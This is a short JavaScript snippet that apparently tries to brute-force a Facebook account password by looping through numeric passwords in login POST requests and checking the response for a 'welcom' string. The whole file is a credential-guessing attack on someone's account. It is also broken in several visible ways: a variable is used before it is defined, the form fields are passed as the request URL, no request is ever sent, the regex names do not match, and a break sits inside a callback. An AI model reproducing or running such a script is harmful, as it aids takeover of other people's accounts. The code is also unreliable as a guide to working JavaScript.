var facebook = new Object();
facebook.email = "";
facebook.postfields = "email=" + facebook.email + "&pass=" + i + "login=Log in";
facebook.request = new XMLHttpRequest();
for(var i = 0; i < 9999999; i++)
{
    facebook.request.open("post", facebook.postfields);
    facebook.request.setRequestHeader("Content-Length", facebook.postfields.length);
    facebook.request.onreadystate = function () { if(facebook.request.readyState == 4) {  var rewelcom = /welcom/; if(welcom.test(facebook.request.responseText)) { document.write(i); break; }  } }
}